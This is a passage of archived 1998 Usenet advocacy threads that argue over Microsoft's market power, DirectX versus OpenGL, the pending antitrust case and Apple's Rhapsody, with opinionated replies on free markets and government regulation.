point out that Open/GL is a hell of a lot simpler than Direct 3D.
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody / Windows 98 Yellow Box compatible.
Date: Mon, 11 May 1998 13:37:27 +1000
Organization: OzEmail Ltd.
Message-ID: <6j5rrq$q0q$1@reader1.reader.news.ozemail.net>
References: <353E1487.C213A639@ix.netcom.com> <354492C8.71FD@earthlink.net>
Steve Kellener wrote in message <354492C8.71FD@earthlink.net>...
>Rob, who said MS was logical? I think that they're Mac Office stuff is
>a "one off" myself. They'd rather see people go out and buy MS Office +
>Windows to run it. They don't want people with other OS's to run their
>software. In fact, they don't want people with other OS'S PERIOD!
Actually I think that's changed. MS wants to get a slice of $$$ for
whatever you're doing. To do that they have to own the technology you're
using. So if they get to _own_ an Internet standard for running apps
and eCommerce then they don't care if they lose the OS. That's
why they want Explorer on Win95 and Mac.
MS could _almost_ forget the OS and push MS Explorer/Exchange/Office
as a standard - the problem is that without the OS behind it people
will have a choice. They need 90% before they dominate - which is
why they are giving away Explorer with Windows and Mac to
get there (and supporting Office for the Mac).
I suspect that if MS could own a piece of the YB puzzle + explorer/exchange/office,
then that would be enough. In fact, if MS could sell Windows 95/NT (making DOJ happy)
and buy Apple (just software, not hardware), Bill Gates would be very happy.
Greg
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.ms-windows.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Mon, 11 May 1998 13:48:37 +1000
Organization: University of Queensland
Message-ID: <6j5s96$nv9$1@nargun.cc.uq.edu.au>
References: <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com> <M3mPvLdzxX1t-pn2-BL3e0qwzKqDg@p210-67-34-153.ts.sysnet.net.tw> <6j497o$r5q$1@nargun.cc.uq.edu.au> <6j5pha$m3g@lehi.kuentos.guam.net>
>>There's a small flaw with this statement - there *is* no comparative
product
>>to DirectX.
>
>You mean nothing comparitively as faulty.
>
>By the way DirectX is inspired from MacOS, which uses a thin fast
>abstraction layer to handle hardware without relying on device
>specific procedures. These capabilities are so built into MacOS, and
>they never needed a name. Which is why MacOS games, even those that
>have DirectX equivalents on the Windows side, never had to use or say
>about such a technology. Much less buggier too.
It's substantially easier to build something into an OS when the company
doing the building-in has near total control over essentially every possible
bit of hardware that will ever be used with their machine and OS. Contrast
this to the PC and MS, an open machine with essentially nobody "controlling"
standards and a company which has to write software which will have to
function on potentially *millions* of different hardware combinations.
*That* is why I say there is no comparitive product to DirectX - because
there isn't.
From: sdenbes1@san.rr.com (Steven C. Den Beste)
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.ms-windows.advocacy,comp.sys.mac.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Mon, 11 May 1998 03:50:33 GMT
Organization: QUALCOMM, Incorporated; San Diego, CA, USA
Message-ID: <35567494.822830@news.qualcomm.com>
References: <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com> <M3mPvLdzxX1t-pn2-BL3e0qwzKqDg@p210-67-34-153.ts.sysnet.net.tw> <6j497o$r5q$1@nargun.cc.uq.edu.au> <uprsNDlpp0Dh-pn2-xWG5dQM4sr46@dyn49.tc1.mineola.i-2000.net>
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On 10 May 1998 14:14:37 GMT, jhimmel@i-2000.com (James Himmelman) stuck
this in a bottle and cast it in the sea:
>On Sun, 10 May 1998 13:17:27, "Christopher Smith" <drsmithy@usa.net>
>wrote:
>
>> >On Sun, 10 May 1998 00:46:11, dmccoy@REMOVE_MEmnsinc.com
>> >(David H. McCoy) wrote:
>> >¯Why is it so difficult for people to realize the DirectX is the technology
>> >¯tht combines sound interfacing, controllers, video hardware accessing as
>> >¯well as 3D...
>
>> >Because we are not interested in MS' latest attempt to
>> >ignore a superior standard in order to replace it with their
>> >own inferior one in order to put another billion dollars in
>> >BG's bank account.
>
>> There's a small flaw with this statement - there *is* no comparative product
>> to DirectX.
>
>Can you tell me what DirectX would do for me? I don't play computer
>games, so I'm wondering what I might be missing by not having directX.
>I use my computer for letters (AmiPro/2), several database's involving
>costomer information (DBExpert and now looking at Approach/2),
>acounting (CA Simply accounting for OS/2), faxing (FaxworksPro/2),
>Personal information (scheduling mainly - IBM Works PIM and now
>looking at Organizer/2), access to my banking (WinOS/2), access to
>trading (WinOS/2 and now through Schwab Internet access), and of
>course Internet interaction (Netscape/2, MR/2 ICE, ProNews/2).
>
>[[[ James Himmelman - jhimmel@i-2000.com ]]]
DirectX is designed for games and entertainment applications, of course.
But it's also generally useful for any application involving multimedia or
high-intensity graphics. And with the release of DirectX 6 it will contain
at least one API which is not designed for games at all. It's called
"DirectModel" and it was designed by HP for use in CAD products.
It is entirely possible that you in particular don't have any use for
DirectX. I don't think anyone claimed it had universal appeal. Of course,
that doesn't mean that no-one at all will benefit from it.
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Sun, 10 May 1998 23:16:52 -0500
Organization: Prairie Group
Message-ID: <MPG.fc037b16e250e8598969e@news.supernews.com>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com> <MPG.fbe7482b277f658989694@news.supernews.com> <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com>
In article <2rs51.1084$sy4.1591596@news.rdc1.sdca.home.com>,
rriley@yahoo.com says...
> In <MPG.fbe7482b277f658989694@news.supernews.com> Donald Brown wrote:
>
> > BS. You can write anything you like. You are confusing freedom of
> > speech with the right to be heard. You can make a program that does
> > anything you jolly well please. If customers prefer Microsoft's
> > solution, well, that's their right to choose.
> >
>
> Well, OK. I'll wait a few more years, watch a few more Netscapes devolve,
> witness "let them live" 150 million Apple investments w/IE on the desktop and
> laugh as the entire US Banking system is co=opted with a MS gateway protocol
> for Internet payments (ref: Wall Street & Technology May98) It may not be
> Freedom of Speech but is sure as hell is some thing akin to no choice at
> all... It ain't BS my friend.
This is the same apocalyptic things that were said about IBM. IBM was
going to rule it all. Until they were stopped from excesses by the
government, and then someone faster and smarter came up with compelling
solutions that weren't IBM's.
It may be that MS may develop the protocol for Internet payments. That's
not the protocol that changes the world. What changes the world are
things like new forms of communication.
> > > Microsoft has its ways of making certain that their standard applications
> are
> > > available unfettered and freely usalbe on their OS. Word for Mac missing
> > > ACCESS. Java on Windows is non-standard Java. Active-X websites ala WSJ
> > > offer different content access controls. etc....
> >
> > Then write an ACCESS-compatible databae for Mac. Write a standard Java
> > for Windows. Put up websites with standard controls. COMPETE.
> >
>
> Sure... you'd also recommend that I hook a propeller to an alternator and
> feedback electricity to the utility grid and COMPETE. Cute, the idea was
> access to information like access to electricity, Microsoft conveniently
> positions its complete suites on its own "grid" ala WinXX.
Yup. Because nobody provided a better solution. If you have something
better, do it. That's the great thing about software, and the Internet,
it's very easy to create new paradigms. Put up an FTP site for people to
download the clients from and let people know. You don't have to create
big factories with assembly lines.
Yes, Microsoft has a huge advantage. That may not be "fair", but the
world isn't fair. As big as Microsoft is and as much power and as much
of an advantage as they have, there's no industry I'd be more comfortable
going against an entrenched leader than in cyberspace and software.
> > > Not to mention the fact that it is Business Suicide to build a
> BusinessPlan
> > > without Microsoft an integral part of any software enterprise. Venture
> > > funding simply isn't available... The world would be different, with free
> > > access to information and markets without the Standards of Microsoft
> holding
> > > the process of "Free Choice" hostage to their beta cycles.
> >
> > And the world would be different if we were all running DRDOS. Or if
> > there were 20 different incompatible OSes in use out there.
> >
>
> We'd be in a worse mess and this is not at all what I have advocated.
Then what ARE you advocating?
> > Microsoft Windows supplies TCP and you can build what you like on top of
> > there. I'm finishing a product with what is currently a proprietary
> > protocol but may be presented as a standard in the future. Even those
> > this protocol is different from the RSVP protocol Microsoft has proposed,
> > my software still runs on Windows.
> >
> > God must love standards because there are so many of them. If you don't
> > like the standards Microsoft does, create your own. If they aren't
> > compelling enough to use them intead of Microsoft's standards, that is
> > the customer speaking.
> >
>
> Wrong... it is the customer following Microsoft.
Right. The customer is CHOOSING to follow Microsoft. Nobody's holding a
gun to their heads.
Customers are fickle. They definitely are not following Microsoft
because they love Bill. Give them a compelling reason to follow you.
> > Now, IF Microsoft is putting their own thumb on the scales to force
> > others out of the market (I'm particularly thinking of when they forced
> > clone makers to pay them for any computer even if it shipped with another
> > OS), that's against the law and they should be slapped down hard for
> > that. I believe there is a role for anti-trust laws, and Microsoft has
> > taken some actions that IMHO violate those laws, and Microsoft should be
> > punished for those actions.
> >
> > But, if the problem is "They're big and I'm small and more customers
> > listen to them than I and I want the government to do something about
> > it", that's where I'll fight you.
> >
> > Because I have a dream of being big someday and having more customers
> > listening to me than others. And I do not want the reward of my hard
> > work and success being living under a beaurocrat's thumb.
> >
> >
>
> It may well turn into some sort of fight someday. A CyberWar or
> CyberRevolution... to straighten the whole out-of-balance situation. What
> other industry does any company command a 70+% marketshare? I'm optimistic
> Java will negate the MS OS advantage and avert the war. But I'm not so sure
> with WinCE filtering into small devices. WinCE may propagate WinXX into the
> digital future.
And what, pray tell, do you want? What do you want this CyberWar to
accomplish? You said you don't want a bunch of different OSes, so what
do you want? A company with the same 70% marketshare, but run instead by
the Department of Labor so it will be a "fair" economy? Worse yet, run
by the Department of Justice?
I can go against Bill Gates. He's got lots of bucks that'll make it
tough, but I can go against Bill Gates. If I go against Bill Clinton and
Janet Reno, they've got the guns.
> Onto your dream... nice, warm, rewarding and naive. Netscape learned all
> roads to success lead through Redmond. Sun has refused to go there and built
> there own road, Java. Apple built a better road but MS copied it. I'm sure
> you've engineered your road through Redmond or hope soon to be "in" Redmond
> (ie. bought/partnered).
Nope. I intend to turn DOWN an offer from Bill at some point. I'll
remind him that I beat him a few years back when we were competing for
the Macintosh LAN Email market, and I'll beat him again.
> I personally wish you all the luck in the world and hoped for audience for
> your hard work and brilliant engineering. Protocols are like money. Anyone
> can print their own money and issue it. You just have to find someone willing
> to accept it. Success in the protocol business requires standards acceptance
> and widespread availability. The first expensive and the later a trip through
> Redmond. Sun's Java Standard the poster child of what happens when MS is left
> out of the process. You will most likely be asked to sacrifice your financial
> interest in your protocol in exchange for an audience that will listen.
I may be asked. I won't accept.
> A first born act of gifting your hard work into the public domain and standards
> body of the net.
You mean, what you seem to want Microsoft to do with Windows?
> So ultimately, you are willing to fight for one form of
> bureaucracy over another. The final effect of which is to allow MS have your
> protocol gratis and you'll COMPETE just like all the rest of us with our
> propellers hooked up to the "Big Grid" (ala WinXX). Enjoy your freedom!
I will enjoy my freedom very much. Unless we wind up living under a
Ministry of Technology where all protocols must be approved by a so-
called independant group.
Donald
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Mon, 11 May 1998 04:31:15 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35567F13.D98042E4@nstar.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <slrn6lcmpo.6vc.mbkennel@lyapunov.ucsd.edu>
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Matt Kennel wrote:
[cut]
> I submit that the economic dynamics of software are unlike any ever seen
> in history. It changes everything.
>
> Nobody will undercut Microsoft on unit production cost, and nobody will be
> able to clone it to provide for competitive substitution. Without external
> regulation.
I really really think that you're assuming that the rest of the market
has taken its best whack at beating Microsoft. If that's so, you're
quite wrong. What we've seen so far has been the meager, pathetic
sideswipes of a few relatively minor corporations. Sun, Apple,
Netscape...if this is the best the "software industry" has to offer, I
think you're missing about 99% of the big picture.
> You have to look at the actual mechanism of markets; do not think via
> ideology.
Actual mechanism is *precisely* what I suspect Henry is looking at, and
I think he's got a clearer historical view than most. You can be sure
that the moment Microsoft begins to alienate the more significant
concerns in this industry (sorry, Dell, Compaq, and Netscape aren't what
I mean) Microsoft will begin to feel the heat in a very big way.
Right now, despite the fact that Microsoft happens to be right in your
face and mine, it is still a very small component of the computer
software industry. Don't confuse visibility with importance. And don't
mistake DoJ's actions for the altruistic behavior of a benevolent
government power. They are the actions of a *predator*. If you've missed
that, man, wake up.
MJP
Be careful what you ask for; you just might get it.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Mon, 11 May 1998 04:41:18 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <3556816E.C3E6565C@nstar.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com> <35540431.47775518@common.se> <6j1lcc$ji3@bgtnsc01.worldnet.att.net> <355495FB.D0C86056@nstar.net> <slrn6lclil.6vc.mbkennel@lyapunov.ucsd.edu>
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Matt Kennel wrote:
> :Law number one is the basis for Contract Law, and forms the basis by
> :which business is conducted. Law number two is the basis of Tort Law. By
> :careful application of these two laws, much of what you ask can be
> :answered, especially in the context of precedents set during the time of
> :Common Law in England.
>
> Wow. Believing that these two concerns should form the core of all law
> is dripping with massive unspoken ideology.
I'm not sure what you mean...perhaps you are saying my remarks are *too*
firmly rooted in principle? From where you apparently stand on the
political continuum, I can easily believe that that's what you mean.
> "mechanism not policy" my foot!! :)
Touche, M. Kennel. I will be honest and say that while I believe that
*computing philosophy* and *political principle* and beyond ridiculous
to compare, it was quite difficult for me, in that discussion, to
justify my remarks (in light of what you've pointed out here). It tasted
wrong. Nevertheless, to thoroughly explain the difference would take a
face-to-face and a few beers, I suspect. :-)
> :Most helpful in all of this (for the purpose of maintaining optimism
> :despite the seeming muddle) are Thomas Paine's remarks: "Man cannot
> :create principles, he can only discover them." Such belief in a higher
> :order to things is crucial to proper legislation.
>
> Oh shit. My bogometer just pegged the needle.
That's really too bad. I suppose your understanding of "the American
Democracy" takes up sometime after 1930, after the words of the Founders
were long-forgotten, Montesquieu was a dim memory, and de Tocqueville
hadn't yet been glamorized by Melanie Griffith's Hollywood attentions.
> Throughout the annals of civilization man has created new principles
> incessantly-
No, that's actually quite wrong.
> --and their propagandists have made spurious, emotional and
> demagogic appeals to ``higher order of things'' to support their adoption
> and swiftly discard their rivals, intellectual and human.
Like I said, you apparently began studying American history in chapter
26 or so, "The Fascist Years". What a depressing thought. There's such a
wealth of reality beyond your provincial thinking.
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Mon, 11 May 1998 04:50:16 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35568388.D56CFDF5@nstar.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net> <355337E7.AB397170@alum.mit.edu> <35534C47.454F66AA@trilithon.com> <slrn6lcmpo.6vc.mbkennel@lyapunov.ucsd.edu> <35567F13.D98042E4@nstar.net>
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Michael J. Peck wrote:
> I really really think that you're assuming that the rest of the market
> has taken its best whack at beating Microsoft. If that's so, you're
> quite wrong. What we've seen so far has been the meager, pathetic
> sideswipes of a few relatively minor corporations. Sun, Apple,
> Netscape...if this is the best the "software industry" has to offer, I
> think you're missing about 99% of the big picture.
Sorry about following up on my own post, but I'd be a fool if I didn't
point out that the really big concerns are, basically, the customers.
And despite all of your moral pretense and highfalutin "linear
dynamics", Microsoft isn't alienating customers. That's why they keep
buying.
Maybe you don't like that. John Rudd says there's something guilty and
wrong about this majority, and he wants to levy a special tax on them. I
dunno, how do you feel about that? Sounds good, eh?
MJP
From: "Todd Bandrowsky" <tbandrowsky@del.net>
Newsgroups: comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy,comp.os.ms-windows.advocacy,comp.sys.mac.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Mon, 11 May 1998 00:55:35 -0400
Organization: All USENET -- http://www.Supernews.com
Message-ID: <6j603p$7m6$1@supernews.com>
References: <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <MPG.fbec2e0148eba92989d7b@news1.mnsinc.com> <M3mPvLdzxX1t-pn2-BL3e0qwzKqDg@p210-67-34-153.ts.sysnet.net.tw> <6j497o$r5q$1@nargun.cc.uq.edu.au> <uprsNDlpp0Dh-pn2-xWG5dQM4sr46@dyn49.tc1.mineola.i-2000.net> <35567494.822830@news.qualcomm.com>
>>Can you tell me what DirectX would do for me? I don't play computer
>>games, so I'm wondering what I might be missing by not having directX.
>>I use my computer for letters (AmiPro/2), several database's involving
>>costomer information (DBExpert and now looking at Approach/2),
>>acounting (CA Simply accounting for OS/2), faxing (FaxworksPro/2),
>>Personal information (scheduling mainly - IBM Works PIM and now
>>looking at Organizer/2), access to my banking (WinOS/2), access to
>>trading (WinOS/2 and now through Schwab Internet access), and of
>>course Internet interaction (Netscape/2, MR/2 ICE, ProNews/2).
On the other hand, if all of those applications were written to Direct X,
you could have little singing and dancing real time personal agents, the
user interface would be peppier and more interactive, and all of your stuff
would be more fun.
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: A Congratulations
Date: Mon, 11 May 1998 06:07:02 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35569586.56D72D70@nstar.net>
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Dr. Mankiw,
I wanted to offer my personal congratulations for your free-market views
and condolences for what is undoubtedly a withering storm of attack
regarding your recent comments about the impending government action in
the Microsoft investigations.
No soliloquoy, I just wanted to be one of the people who encourages you
to continue speaking out. It's a great blessing to know that there are
champions of economic liberty in some of our high academic places.
Thanks,
MJP
From: "Michael J. Peck" <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.windows.advocacy,comp.sys.mac.advocacy
Subject: Re: OPEN LETTER TO Dr. Gregory Mankiw REGARDING MICROSOFT
Date: Mon, 11 May 1998 05:18:21 +0000
Organization: ISPNews http://ispnews.com
Message-ID: <35568A1C.467C3E71@nstar.net>
References: <35522293.731DC4F3@alum.mit.edu> <stevewhite-0705982058110001@d148-218.ce.mediaone.net>
<355337E7.AB397170@alum.mit.edu> <fuR41.360$sy4.1232831@news.rdc1.sdca.home.com>
<MPG.fbe216587510224989691@news.supernews.com> <8C251.531$sy4.1591596@news.rdc1.sdca.home.com>
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Rex Riley wrote:
[cut]
> The final effect of which is to allow MS have your
> protocol gratis and you'll COMPETE just like all the rest of us with our
> propellers hooked up to the "Big Grid" (ala WinXX). Enjoy your freedom!
It's unfortunate that the American public schools force so many children
to read _1984_ when they're so young and incapable of adult thought. I
know they made us read it in 8th grade in New York; most of us weren't
acquainted with enough history to understand what it was that Orwell
feared.
After all, none of use were working 1 out of every 5 days to support the
Federal government. None of us had been beaten in our own homes by IRS
agents, none of us had watched thousands of local jobs go via tax money
to another area of the country 1500 miles away to fund a local
politician's reelection effort through "urban revitalization". None of
us had gaped in mortal fear at the sight of Viet Cong suspects cranially
perforated or witnessed the films taken by Allied soldiers as they
tramped through Auschwitz and elsewhere.
I think some people just assume that Orwell was afraid of people, in
general, and that the moral of the missive was "react to danger with
mistrust and fear". To think so encourages such men in their constant
infantile clinging to this or that parental figure, usually a
power-wielding body, criminals of all kinds, be they dressed in the
robes of inauguration, the double-breasted pinstripes of Mafia kingpins,
or the flowing white of Mississippi's ghosts.
Where's the crack in such cynical armor? Liberty. Where the principles
of liberty are upheld, so are virtue and the responsible dictates of the
rational adult mind. In the words of David Forte:
"There can be no greater worth than equal liberty for all. There can be
no greater dignity than equal responsibility of all to grow in virtue.
The alliance between liberty and social conservatism is also natural
because a liberty that fails to increase virtue is not worth it, and a
virtuous person without freedom is a contradiction in terms."
MJP
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.os.ms-windows.advocacy,comp.sys.mac.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.amiga.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: 11 May 1998 05:49:28 GMT
Organization: I don't think so
Message-ID: <slrn6ld4i5.349.jason@jhste1.dyn.ml.org>
References: <199805051707.MAA01735@comp.uark.edu> <Pine.BSF.3.96.980505110737.20648B-100000@shell4.ba.best.com> <casper-0505981900370001@wheat-d-19.monroeville.nb.net> <6j2q9p$2mg$1@usenet11.supernews.com> <6j4afj$p19$1@wombat.cs.monash.edu.au> <6j463g$i1m$1@supernews.com>
Todd Bandrowsky wrote:
>>Well, I guess SVGAlib and XF86DGA (direct screen access), Glide (the 3dfx
>>library) and Mesa (a pretty full-featured OpenGL clone that uses hardware
>>acceleration on the Voodoo boards) don't count?
>I understand that for svgalib to work, you have to be root. Is that true?
>Also, does XF86DGA take advantage of accelerated bit blit? I honestly do
>not know. Glide I have heard good things about. Mesa I've heard nothing.
>Hopefully, when GGI comes out you guys will be happier.
XFree must be suid root; anyone can run it - the admin just has to set
a bit in its perms (upon install). XFree can do acceleration on many
cards. Dunno about Glide; Mesa is cross-platform, but slow in software.
GGI should be nice.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: pollyf@spamblock.us (Pussy Puddles)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.sun.misc,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.os2.advocacy
Subject: Pussy Puddles vs. Micro$loth
Date: Mon, 11 May 1998 06:36:17 GMT
Organization: Pussy Puddles
Message-ID: <6j65u1$c04$1@news.orbitworld.net>
1.) Windoze '98 should be held up indefinitely by the courts of
every civilised land until Micro$loth is split into 3 or 4 parts by
the Justice Department (with Bill Gates being ordered to divest
all financial interests in the new corporations).
2.) We the people should find out which large corporations
have succumbed to standardising on Micro$loth products and
boycott THEM ALL. It's not as hard as you might think. There
are tens of thousands of information specialists in these
corporations willing to spill the beans about the way Micro$loth
controls the information infrastructure of their organisations -- and
they are mad as hell about it. Some post right here on USENET.
3.) An organisation espousing alternatives such as MacOS,
UNIX, LINUX, etc. needs to be setup to educate both large and
especially small businesses of the dangers of Micro$loth, and
show them how superior the alternatives are.
,Polly
From: Rolf Magnus <ramagnus@zvw._REMOVE_THIS_de>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Mon, 11 May 1998 09:31:40 -0700
Organization: Robert Bosch GmbH, Reutlingen, Germany
Message-ID: <355727EC.7731@zvw._REMOVE_THIS_de>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com> <6iljjf$etu$1@newsfep4.sprintmail.com> <354F4C4F.3C93@zvw._REMOVE_THIS_de> <6ingl7$f7$1@newsfep1.sprintmail.com> <3550A11D.7A@zvw._REMOVE_THIS_de> <6iq6mm$e4g$1@newsfep1.sprintmail.com> <3551DE2B.1967@zvw._REMOVE_THIS_de> <6isol3$4h2$1@newsfep4.sprintmail.com> <355341E6.5AE9@zvw._REMOVE_THIS_de> <6ivd14$nj8$1@newsfep2.sprintmail.com>
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Pinochet wrote:
>
> Rolf Magnus wrote in message <355341E6.5AE9@zvw._REMOVE_THIS_de>...
> >Pinochet wrote:
> > > > > MAYBE. Depends on which version of DirectX the game uses,
and
> > > > > if MS doesn't come up with a patch for DX6 on 95...
>
> > > >New games will most likely use dx6
>
> > > New games AFTER DX6 comes out.
>
> >Yes. But on which os?
>
> Hopefully both of them...those hopes are, of course, supported by MS
> stated plans, so its not a great leap of faith.
That's my point.
>
> > > >and I doubt that dx6 will be fully supported on 95
>
> > > Your doubts are not certain however...try to remember that.
>
> >My doubt is based on the marketing strategies I see from Microsoft.
> >It's not certain, but likely.
>
> I consider it unlikely based on a couple reasons:
>
> One MS has made drivers fully interoperable between NT and 98.
> Two MS intends to kill off the 9X line'
> Three MS is doing its best to ensure FULL DirectX compatibility on
> NT5 and Windows 98.
One does not enforce MS to releas on both.
Two that's correct. After this is done, there won't be that problem,
but in exchange for what?
Three I would not be too sure about that. I see how things are on
W95/NT4.
> > > >So Microsoft will develop DX6 on NT, but then release it on W98
> >first? Why?
>
> > > Probably because MS intends to switch everything to the NT Line
> > > after this last version of the Win 9x line.
>
> >That's not a reason to first release DX6 on W98 only, although it
also
> >would work on NT.
>
> Huh? Um, the only reason DX6 will only be on W98 for ANY period,
> (If it indeed happens, which isn't certain), will be because NT5 has
yet
> to be released.. That's the ONLY REASON.
I still don't see the reason they develop it under NT.
> > > > > Will you? Only if DX6 isn't ported to your current OS.
> >Entirely possible, but not certain..
>
> > > >Do you really think Microsoft didn't see this? They will use
some
> >tricks to make new games incompatible to 95. You will see this for
sure!
>
> > > I'd rather be optimistic. And in any case, it won't be entirely
> >Microsofts fault, some of it will belong to the developers of the
games.
> >
> >I am sure that win98 will offer some new features for games that are
> >needed to write a cutting edge game and that are not, or at least
> >very hard to do in win95.
>
> So you're saying MS SHOULDN'T improve its products?
No! I said that MS will not improve W95, although they should.
> Gee, thanks,
> I like that. Maybe we should go back to DOS 1.0 while we're at it.
> Question: Have you ever read Ayn Rand's _Anthem_ ? You might find
> it interesting...its a short book, so it shouldn't take to much of
your
> time.
Now, if you say that I don't need W98, because W95 will be compatible to
my new games, and I say that MS will make this impossible, why does this
mean that I think MS should not improve their products.
My oppinion about that is that MS should improve their existing products
instead of creating new ones that are likely to be even more crap than
the existing ones.
> > > > > Nope. You can buy NT5, or 98 either one, as MS fully intends
> > > > > DX6 to run well on both.
>
> > > >Like on 95 and NT4? DirectX on NT4 is CRAP.
>
> > > Irrelevant. And don't you think that MIGHT be a factor in why
the
> > > work is being done on NT5 first?
>
> >It's NOT irrelevant that Microsoft does not care about the users of
> >their current OS,
>
> Untrue. MS does care, that's why you can get patches for the above
> OS, ain't it ?
I said that they are crap. Or has the new DX5 for NT have all the
features
of the W95 version and run as good as on W95? I would really be amazed.
> >but develop new things on an OS that comes out in the y2k or so.
>
> NT5 will come out in late 1998 or early 1999, unless delayed because
> of unforseen difficulties.
"unforseen difficulties"... that's cool. It's also cool to see all those
release dates that people talk about.
> > > >Do you believe in Microsoft?
>
> > > Yes believe Microsoft exists...and I believe they will usually
report
> > > the truth to me and others, and that when others substantiate
these
> > > reports, I can trust them even more.
>
> >I also believe Microsoft exists, but that's all I believe about
them.
>
> Good for you.
> >They do NOT tell the truth to you and others (to anyone?)...
>
> So MS always lies? Now you know that ain't true. And the truth can
be
> found out, even is MS does cover it in PR and flack.
It can be found out, but not from MS.
Do you really think that MS tells anyone about the security leaks in
their
products? I think they only if someone else knows about it and tells it
to
the people.
> > > >Ok, this may be correct. But they could do some version of DX6
that
> > > >is not able to support the hardware, by leaving out some
important
> > > >features. (Like the 3d hardware support on DX for NT4)
>
> > > They could, but they probably won't....in fact they've said they
> >won't.
>
> >I want to see it to believe it...
>
> Fine. Just wait for the products to come out.
... to prove that I was right.
> > > >M$ will find another way to get your money.
>
> > > Yes, they'll sell you an OS based on the NT kernel.
>
> >That would be ok, but there sure are some secret plans...
>
> Of course, you can't imagine MS will give out everything...they do
